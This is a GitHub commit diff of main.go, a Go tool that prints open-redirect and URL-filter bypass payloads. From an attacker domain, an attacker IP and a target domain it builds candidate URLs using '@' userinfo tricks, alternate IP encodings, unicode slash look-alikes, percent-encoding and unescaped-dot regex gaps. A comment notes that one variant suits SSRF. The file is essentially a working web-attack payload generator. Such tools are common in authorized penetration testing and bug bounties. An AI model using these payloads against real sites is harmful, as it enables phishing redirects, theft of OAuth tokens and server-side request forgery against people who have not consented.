Skip to content

Commit c545d5d

Browse files
committed
add %-encoding
also remove some useless bypasses and improve order
1 parent ddd8b07 commit c545d5d

File tree

1 file changed

+50
-32
lines changed

1 file changed

+50
-32
lines changed

main.go

+50-32
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ import (
77
"flag"
88
"fmt"
99
"net"
10+
"net/url"
1011
"os"
1112
"strings"
1213

@@ -31,72 +32,89 @@ func main() {
3132
//chars that end the host part
3233
endhostchars := []string{"/", "?", "\\", "#"}
3334

34-
hosts := []string{*attackerdomain}
35-
36-
for _, domain := range hosts {
37-
//e.g. @attacker.tld
38-
for _, seperator := range seperators {
39-
fmt.Println(seperator + domain + *path)
40-
}
41-
//e.g. &.attacker.tld
42-
for _, char := range subdomainchars {
43-
fmt.Println(char + "." + domain + *path)
44-
}
45-
}
46-
47-
//Keep IPs and domains seperate for a while because we do not wanna generate .IP
35+
//prepare hosts
4836
ip := net.ParseIP(*attackerIP)
4937
if ip == nil {
5038
fmt.Fprintln(os.Stderr, "Couldn't parse IP")
5139
return
5240
}
5341
ips := []string{ipfmt.ToInt(ip), ipfmt.ToHex(ip), ipfmt.ToOctal(ip), ipfmt.ToSingleHex(ip), ipfmt.Combo(ip), "1.1"}
54-
for _, ip := range ips {
55-
//e.g. @1.1
56-
fmt.Println("@" + ip)
57-
}
58-
//Merge IPs and the other hosts
59-
hosts = append(hosts, ips...)
42+
hostnames := []string{*attackerdomain}
6043

61-
//e.g. /\attacker.tld
62-
for _, domain := range hosts {
63-
for _, protocol := range protocols {
64-
fmt.Println(protocol + domain + *path)
65-
}
66-
}
6744
//contains
6845
fmt.Println("https://" + *attackerdomain + "/" + *proto + *target + *path)
46+
47+
//% encoded
48+
fmt.Println(url.QueryEscape(*proto + *attackerdomain))
49+
fmt.Println(url.QueryEscape(url.QueryEscape(*proto + *attackerdomain)))
50+
6951
//port as pass
70-
for _, host := range hosts {
52+
for _, host := range hostnames {
7153
fmt.Println(*proto + *target + ":443@" + host + *path)
7254
}
55+
7356
//mutliple @s
7457
fmt.Println("https://" + *target + "@" + *target + "@" + *attackerdomain + *path)
58+
7559
// unescaped dots in regexes /www.target.tld/ -> wwwxtarget.tld
7660
if hasSubdomain(*target) {
7761
fmt.Println(*proto + strings.Replace(*target, ".", "x", 1) + *path)
7862
} else {
7963
fmt.Println(*proto + "wwwx" + *target + *path)
8064
}
65+
66+
for _, domain := range hostnames {
67+
//e.g. @attacker.tld
68+
for _, seperator := range seperators {
69+
fmt.Println(seperator + domain + *path)
70+
}
71+
//e.g. &.attacker.tld
72+
for _, char := range subdomainchars {
73+
fmt.Println(char + "." + domain + *path)
74+
}
75+
}
76+
77+
for _, ip := range ips {
78+
//e.g. @1.1
79+
fmt.Println("@" + ip)
80+
}
81+
82+
//e.g. /\attacker.tld
83+
for _, protocol := range protocols {
84+
for _, domain := range hostnames {
85+
fmt.Println(protocol + domain + *path)
86+
}
87+
for _, ip := range ips {
88+
fmt.Println(protocol + ip + *path)
89+
}
90+
}
91+
8192
//e.g. https://[email protected]
8293
for _, seperator := range seperators {
83-
hosts = append(hosts, *target+seperator+*attackerdomain)
94+
hostnames = append(hostnames, *target+seperator+*attackerdomain)
8495
}
96+
8597
//e.g. https://attacker.tld#.target.tld
8698
for _, char := range endhostchars {
87-
hosts = append(hosts, *attackerdomain+char+"."+*target)
99+
hostnames = append(hostnames, *attackerdomain+char+"."+*target)
88100
//e.g. attacker.tld%EF%BC%8F.target.tld -> attacker.tld/.target.tld
89101
for _, sub := range unicodesubstitutions[[]rune(char)[0]] {
90-
hosts = append(hosts, *attackerdomain+string(sub)+"."+*target)
102+
hostnames = append(hostnames, *attackerdomain+string(sub)+"."+*target)
91103
}
92104
}
105+
93106
//e.g. https://target.tld&.attacker.tld
94107
for _, char := range subdomainchars {
95-
hosts = append(hosts, *target+char+"."+*attackerdomain)
108+
hostnames = append(hostnames, *target+char+"."+*attackerdomain)
96109
}
97-
for _, domain := range hosts {
110+
111+
//e.g. https://attacker.tld
112+
for _, domain := range hostnames {
98113
fmt.Println(*proto + domain + *path)
99114
}
115+
116+
//https://attacker.tld:target.tld this is more useful for ssrf
117+
//fmt.Println(*proto + *attackerdomain + ":" + *target + *path)
100118
}
101119

102120
func hasSubdomain(domain string) bool {

0 commit comments

Comments
 (0)